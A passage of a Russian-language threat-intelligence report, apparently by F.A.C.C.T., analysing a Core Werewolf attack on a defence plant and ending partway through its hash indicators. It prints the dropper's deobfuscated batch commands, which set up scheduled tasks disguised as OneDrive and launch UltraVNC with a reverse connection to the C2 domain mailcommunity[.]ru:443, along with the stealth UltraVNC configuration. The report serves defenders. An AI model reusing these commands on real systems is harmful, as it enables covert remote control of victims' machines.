\u043e\u0431\u043e\u0440\u043e\u043d\u043d\u044b\u0439 \u0437\u0430\u0432\u043e\u0434. \u0412 \u0441\u0432\u043e\u0438\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445 \u0433\u0440\u0443\u043f\u043f\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 <strong>UltraVNC<\/strong>.<\/p>\n<\/blockquote>\n<p>\u0412\u0441\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u2014 \u0432 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0431\u043b\u043e\u0433\u0435 <strong>\u0414\u043c\u0438\u0442\u0440\u0438\u044f \u041a\u0443\u043f\u0438\u043d\u0430<\/strong>, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u0435\u043f\u0430\u0440\u0442\u0430\u043c\u0435\u043d\u0442\u0430 Threat Intelligence \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T.<\/p>\n<h3>\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438<\/h3>\n<h4>7zSFX-\u0430\u0440\u0445\u0438\u0432<\/h4>\n<p>\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b 7ZSfxMod_x86.exe \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0430 PE32 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0430\u0440\u0445\u0438\u0432 7zSFX. \u0414\u0430\u043d\u043d\u044b\u0439 7zSFX-\u0430\u0440\u0445\u0438\u0432 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 %TEMP% \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e Batch-\u0444\u0430\u0439\u043b\u0430 5951402583331559.cmd. <\/p>\n<p>\u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0441\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u0430\u0440\u0445\u0438\u0432\u0430 7ZSfxMod_x86.exe \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b:<\/p>\n<p>cmd.exe \/c ren 5951402583331559 5951402583331559.cmd<\/p>\n<p>cmd.exe \/c copy \/y &#171;%CD%<em>.<\/em>&#187; &#171;%CD%..&#187;<\/p>\n<p>cmd.exe \/c cd %USERPROFILE%\\AppData\\Local\\Temp &amp; 5951402583331559.cmd<\/p>\n<p>\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430:<\/p>\n<ul>\n<li>\n<p>5951402583331559 &#8212; \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 Batch-\u0444\u0430\u0439\u043b<\/p>\n<\/li>\n<li>\n<p>dl02W62Y82w52l62d0.nq42X02g82l12L22i7 &#8212; \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b UltraVNC (UltraVNC.ini)<\/p>\n<\/li>\n<li>\n<p>Px69S29l29t79I69v3.ei89I49K79k99b89f2 &#8212; \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 PDF (perevod.pdf)<\/p>\n<\/li>\n<li>\n<p>TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0 &#8212; \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b UltraVNC (OneDrives.exe)<\/p>\n<\/li>\n<\/ul>\n<p>\u0421\u0443\u0434\u044f \u043f\u043e \u0434\u0430\u0442\u0435 \u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445\u0441\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0435, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0433\u043b\u0430 \u043d\u0430\u0447\u0430\u0442\u044c\u0441\u044f \u0440\u0430\u043d\u044c\u0448\u0435 15 \u0430\u043f\u0440\u0435\u043b\u044f 2024 \u0433.. <\/p>\n<figure class=\"\">\n<div><figcaption>\u0414\u0430\u0442\u0430 \u0438 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 %TEMP%<\/figcaption><\/div>\n<\/figure>\n<p>\u0424\u0430\u0439\u043b 7ZSfxMod_x86.exe \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043d\u0430 VirusTotal 2024-04-15 16:17:23 UTC \u0438\u0437 \u0410\u0440\u043c\u0435\u043d\u0438\u0438 (\u0433. \u0413\u044e\u043c\u0440\u0438) \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 (f7a179f4 &#8212; web). <\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430 \u043d\u0430 VirusTotal <\/figcaption><\/div>\n<\/figure>\n<h4>Batch-\u0444\u0430\u0439\u043b<\/h4>\n<figure class=\"full-width\">\n<div><figcaption>\u0414\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 Batch-\u0444\u0430\u0439\u043b\u0430 <\/figcaption><\/div>\n<\/figure>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Batch-\u0444\u0430\u0439\u043b\u0430 5951402583331559.cmd:<\/p>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 PDF-\u0444\u0430\u0439\u043b\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438: <\/p>\n<p><code>copy \"Px69S29l29t79I69v3.ei89I49K79k99b89f2\" \"perevod.pdf\"<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u041e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0434\u043b\u044f \u043e\u0442\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0436\u0435\u0440\u0442\u0432\u044b: <\/p>\n<p><code>start \"\" \"%CD%\\perevod.pdf\"<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0435 \u0437\u0430\u0434\u0430\u0447 Windows \u0434\u043b\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 OneDrives.exe:<\/p>\n<p><code>schtasks \/create \/f \/tn \"OneDrive Standalone Task-S-2-7-11-9087201647-12801647-72314017-012\" \/tr \"taskkill \/f \/im OneDrives.exe\" \/sc daily \/st 09:11<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 UltraVNC: <br \/> <code>copy \"TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0\" \"OneDrives.exe\"<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u041f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 OneDrives.exe: <\/p>\n<p><code>taskkill \/im OneDrives.exe \/f<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0435 \u0437\u0430\u0434\u0430\u0447 Windows \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 OneDrives.exe: <\/p>\n<p><code>schtasks \/create \/f \/tn \"OneDrive Standalone Task-S-2-7-11-83520748-3029574812-2078745392-102\" \/tr \"%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe\" \/sc daily \/st 09:12 <\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 UltraVNC:<\/p>\n<p> <code>copy \"dl02W62Y82w52l62d0.nq42X02g82l12L22i7\" \"UltraVNC.ini\"<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a \u0444\u0430\u0439\u043b\u0430 OneDrives.exe:<\/p>\n<p><code>start \"\" %HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0435 \u0437\u0430\u0434\u0430\u0447 Windows \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 OneDrives.exe \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 mailcommunity[.]ru:443:<\/p>\n<p><code>schtasks \/create \/f \/tn \"OneDrive Standalone Update Task-S-2-7-11-99120212-424201842-3485024-093\" \/tr \"%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe -autoreconnect -id:%COMPUTERNAME%_%RANDOM% -connect mailcommunity[.]ru:443\" \/sc daily \/st 09:13<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a \u0444\u0430\u0439\u043b\u0430 OneDrives.exe \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 mailcommunity[.]ru:443: <\/p>\n<p><code>start \"\" %HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe -autoreconnect -id:%COMPUTERNAME%_%RANDOM% -connect mailcommunity[.]ru:443<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b OneDrives.exe (TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0) \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 UltraVNC \u0432\u0435\u0440\u0441\u0438\u0438 1.2.0.5.<\/p>\n<h4>\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430<\/h4>\n<p>\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430 perevod.pdf \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0445\u043e\u0434\u0430\u0442\u0430\u0439\u0441\u0442\u0432\u043e, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u0435\u043d\u043d\u043e\u0441\u043b\u0443\u0436\u0430\u0449\u0438\u0445,  \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043a \u0433\u043e\u0441\u043d\u0430\u0433\u0440\u0430\u0434\u0430\u043c, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u2014  &#171;\u041e\u0440\u0434\u0435\u043d\u0443 \u041c\u0443\u0436\u0435\u0441\u0442\u0432\u0430&#187; \u2014 \u0437\u0430 \u043e\u0442\u043b\u0438\u0447\u043d\u0443\u044e \u0441\u043b\u0443\u0436\u0431\u0443 \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0421\u0412\u041e, \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435\u043c \u0438\u0445 \u0437\u0432\u0430\u043d\u0438\u044f, \u0424\u0418\u041e \u0438 \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043d\u043e\u043c\u0435\u0440\u0430.<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 (censored)<\/figcaption><\/div>\n<\/figure>\n<h4>UltraVNC<\/h4>\n<p>\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0435 \u041f\u041e <a href=\"https:\/\/uvnc.com\/\">UltraVNC <\/a> \u0432\u0435\u0440\u0441\u0438\u0438 1.2.0.5 \u0441 \u0438\u043a\u043e\u043d\u043a\u043e\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f OneDrive.<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0418\u043a\u043e\u043d\u043a\u0430 \u0432 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 OneDrives.exe<\/figcaption><\/div>\n<\/figure>\n<p>PDB-\u043f\u0443\u0442\u044c: L:\\UltraVNC_INSTALL_VS2013\\ultravnc_test2\\UltraVNC Project Root\\UltraVNC\\winvnc\\Release\\winvnc.pdb<\/p>\n<p>\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b UltraVNC.ini (dl02W62Y82w52l62d0.nq42X02g82l12L22i7) \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438: <\/p>\n<p>[Permissions]<br \/>[admin]<br \/>FileTransferEnabled=1<br \/>FTUserImpersonation=1<br \/>BlankMonitorEnabled=0<br \/>BlankInputsOnly=0<br \/>DefaultScale=1<br \/>UseDSMPlugin=0<br \/>DSMPlugin=<br \/>DSMPluginConfig=<br \/>primary=1<br \/>secondary=0<br \/>SocketConnect=0<br \/>HTTPConnect=0<br \/>XDMCPConnect=0<br \/>AutoPortSelect=0<br \/>PortNumber=5612<br \/>HTTPPortNumber=5800<br \/>InputsEnabled=1<br \/>LocalInputsDisabled=0<br \/>IdleTimeout=0<br \/>EnableJapInput=0<br \/>RemoveAero=0<br \/>DebugMode=0<br \/>Avilog=0<br \/>path=Y:<br \/>DebugLevel=0<br \/>AllowLoopback=0<br \/>LoopbackOnly=0<br \/>AllowShutdown=1<br \/>AllowProperties=1<br \/>AllowEditClients=1<br \/>FileTransferTimeout=30<br \/>KeepAliveInterval=5<br \/>SocketKeepAliveTimeout=10000<br \/>DisableTrayIcon=1<br \/>MSLogonRequired=0<br \/>NewMSLogon=0<br \/>ConnectPriority=0<br \/>QuerySetting=2<br \/>QueryTimeout=10<br \/>QueryAccept=0<br \/>LockSetting=0<br \/>RemoveWallpaper=0<br \/>RemoveEffects=0<br \/>RemoveFontSmoothing=0<br \/>[UltraVNC]<br \/>passwd=<em>\u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e<\/em><br \/>passwd2=000000000000000000<\/p>\n<h4>\u0421\u0435\u0442\u0435\u0432\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430<\/h4>\n<p>\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 C2 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043e\u043c\u0435\u043d mailcommunity[.]ru.<\/p>\n<figure class=\"\">\n<div><figcaption>Whois-\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0434\u043e\u043c\u0435\u043d\u0430 mailcommunity[.]ru<\/figcaption><\/div>\n<\/figure>\n<p>\u042d\u0442\u043e\u0442 \u0434\u043e\u043c\u0435\u043d \u0431\u044b\u043b \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0433\u043e\u0434 \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u0434\u043e\u043c\u0435\u043d\u043e\u043c \u0433\u0440\u0443\u043f\u043f\u044b Core Werewolf, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 2023 \u0433\u043e\u0434\u0443. \u0417\u0430 \u0434\u0435\u043d\u044c \u0434\u043e \u0438\u0441\u0442\u0435\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u043e\u043a\u0430 \u0436\u0438\u0437\u043d\u0438 \u0434\u043e\u043c\u0435\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0434\u043b\u0438\u043b\u0438 \u0435\u0433\u043e \u0435\u0449\u0435 \u043d\u0430 \u0433\u043e\u0434 \u0438 \u0432 \u044d\u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u043d\u044c \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a.<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445<\/figcaption><\/div>\n<\/figure>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043e\u0431\u0440\u0430\u0437\u0435\u0446 UltraVNC, \u0435\u0433\u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0430\u0434\u0440\u0435\u0441 C2 \u0442\u0430\u043a\u0438\u0435 \u0436\u0435, \u043a\u0430\u043a \u0438 \u0432 \u0440\u0430\u043d\u0435\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. <\/p>\n<p><strong>\u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b<\/strong><\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Threat Intelligence \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T. \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 VirusTotal \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0420\u043e\u0441\u0441\u0438\u0438 \u0432 \u043c\u0430\u0440\u0442\u0435 \u0438 \u0430\u043f\u0440\u0435\u043b\u0435 2024 \u0433. \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0434\u0440\u043e\u043f\u043f\u0435\u0440\u044b, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Go. \u0414\u0440\u043e\u043f\u043f\u0435\u0440\u044b \u0438\u043c\u0435\u044e\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 UltraVNC.<br \/>\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442 UltraVNC \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0445\u0435\u0448-\u0441\u0443\u043c\u043c\u0430\u043c \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c\u0438 \u0432\u044b\u0448\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 C2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u0442 \u0436\u0435 \u0434\u043e\u043c\u0435\u043d: mailcommunity[.]ru:443.<\/p>\n<p><em>UPD: \u0442\u0435\u043a\u0441\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d 17 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 \u0432 14:18.<\/em><\/p>\n<h3>\u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438<\/h3>\n<p> 7ZSfxMod_x86.exe<br \/> MD5: b4644e784d384e419a270c8a44f41dd2<br \/> SHA-1: 210d1c0e007de3c5815b1188de989799ff6b511a<br \/> SHA-256: 0de3e1349b12a96a99784c45aebbf88012562545af6ade624e78d0ff2cfd5f35<\/p>\n<p>5951402583331559 (5951402583331559.cmd)<br \/> MD5: d41d327f59c2f407a8e946d5bd333fc9<br \/> SHA-1: 36ccb806682d370baf8f0f0c7a6424601caaed9a<br \/> SHA-256: 